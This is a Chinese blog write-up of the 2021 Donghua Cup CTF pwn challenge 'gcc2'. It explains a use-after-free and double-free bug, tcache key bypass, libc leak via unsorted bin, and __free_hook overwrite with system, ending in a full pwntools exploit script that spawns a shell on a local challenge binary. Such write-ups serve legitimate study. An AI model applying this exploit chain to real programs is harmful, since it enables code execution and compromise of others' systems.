write up -- 2021东华杯pwn gcc2

简介

刚刚结束的东华杯的pwn题
image
可以看到64位小端,保护全开,题目附件还给了libc,版本为2.31,因为远程环境已经关了,那我就直接打本地了,我的本地是libc-2.27,两个版本之间差距不是特别大。

分析

该程序的main函数
image
image
看起来很眼熟,那是因为该程序和上题cpp1差不多,就是有一些细节不一样。

add()函数
image
上一题cpp1规定了申请的堆块大小不可以超过0xff,而这题呢,又再次压缩了我们可以申请的chunk的大小,不能大于0x67,其他的地方该题和上一题差不多。

change()函数
image
和上题的change函数差的也不多,就是对用户输入堆块的数据大小进行了限制,就不能向上题那样使用堆溢出漏洞改变其他chunk的size的大小了。

get()函数和上题的一样,这里就不做过多解释了。

image
delete()函数
image
可以看到delete函数和上一题的差别,上一题是释放空间后指针置0,而这题的delete则没有销毁指针,那这就给我们提供了漏洞可以利用。

攻击思路

和上题差不多,不过这次没有堆溢出可以用了,但是我们却可以用UAF和double,需要注意的是这里要使用double free需要绕过,将TCache的key改成0即可,我们申请不了较大的堆块,也不能直接修改chunk的size,那我们可以找方法修改啊,我们先泄漏heap的地址,然后计算出chunk0的地址,利用double free,将chunk0这块地址申请到,然后将chunk0的size改为一个大于0x400大小的值,这样我们释放chunk0的时候,chunk0就会被放入unsorted bin里,但是值的注意的是我们在修改chunk0的size的时候,一定要和你实际申请的所有的chunk堆块大小吻合要不然会出现错误,经过这些操作我们就能泄漏main_arena+xx的地址,就可以计算出libc的基址,就可以进行接下来的攻击了。

我将一点点的调试来使这个攻击的过程更容易理解。

for i in range(11):

  add(i, 0x60)


add(11, 0x18)

image

delete(11)

change(11, p64(0)+p64(0))#为了绕过检测利用double free漏洞

delete(11)

image

get(11)

chunk11_addr = u64(io.recvuntil("Welcome", drop=True)[-7:- 1].ljust(8, "\x00"))

change(11, p64(chunk11_addr-0x4e0)+p64(0))#泄漏堆的地址然后将chunk0的地址写入chunk11的fd处使得经过两次申请可以获得到这片地址
add(12, 0x18)
add(13, 0x18)

image
因为new的时候初始化了空间,使得chunk0的chunk头都被初始化掉了,所以size也变成了0。

change(13, p64(0)+p64(0x4d1))

delete(0)

get(0)

malloc_hook = u64(io.recvuntil("Welcome", drop=True)

​         [-7:- 1].ljust(8, "\x00"))-96-0x10

libc_base = malloc_hook-libc.symbols["__malloc_hook"]

free_hook = libc_base+libc.symbols["__free_hook"]

system_addr = libc_base+libc.symbols["system"]

将chunk0的size改成0x4d1,然后释放chunk0,这样chunk0会被放进unsorted bin中,就可以泄漏main_arena+xx的地址了,从而就获得了malloc_hook和free_hook以及system函数的地址。

image
接下来释放chunk1,将free_hook写到fd处,经过两次申请得到,将system写入,这样调用delete函数就相当于是执行system,再将相应的参数"/bin/sh"写入,调用delete函数就拿到shell了。

这里就不调了。

exp

from pwn import*

io = process("./pwn")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

context.log_level = 'debug'





def add(index, size):

  io.recvuntil(">>")

  io.sendline("1")

  io.recvuntil(">>")

  io.sendline(str(index))

  io.recvuntil(">>")

  io.sendline(str(size))





def change(index, content):

  io.recvuntil(">>")

  io.sendline("2")

  io.recvuntil(">>")

  io.sendline(str(index))

  io.recvuntil(">>")

  io.sendline(content)





def get(index):

  io.recvuntil(">>")

  io.sendline("3")

  io.recvuntil(">>")

  io.sendline(str(index))





def delete(index):

  io.recvuntil(">>")

  io.sendline("4")

  io.recvuntil(">>")

  io.sendline(str(index))





for i in range(11):

  add(i, 0x60)



add(11, 0x18)

delete(11)

change(11, p64(0)+p64(0))

delete(11)

get(11)

chunk11_addr = u64(io.recvuntil("Welcome", drop=True)[-7:- 1].ljust(8, "\x00"))

change(11, p64(chunk11_addr-0x4e0)+p64(0))



add(12, 0x18)

add(13, 0x18)

change(13, p64(0)+p64(0x4d1))

delete(0)

get(0)

malloc_hook = u64(io.recvuntil("Welcome", drop=True)

​         [-7:- 1].ljust(8, "\x00"))-96-0x10

libc_base = malloc_hook-libc.symbols["__malloc_hook"]

free_hook = libc_base+libc.symbols["__free_hook"]

system_addr = libc_base+libc.symbols["system"]

gdb.attach(io)

delete(1)

change(1, p64(free_hook)+p64(0))

add(14, 0x60)

add(15, 0x60)

change(15, p64(system_addr))

change(14, "/bin/sh\x00")

delete(14)



io.interactive()
posted @ 2021-11-04 20:03  Sentry_Prisoner  阅读(61)  评论(0编辑  收藏  举报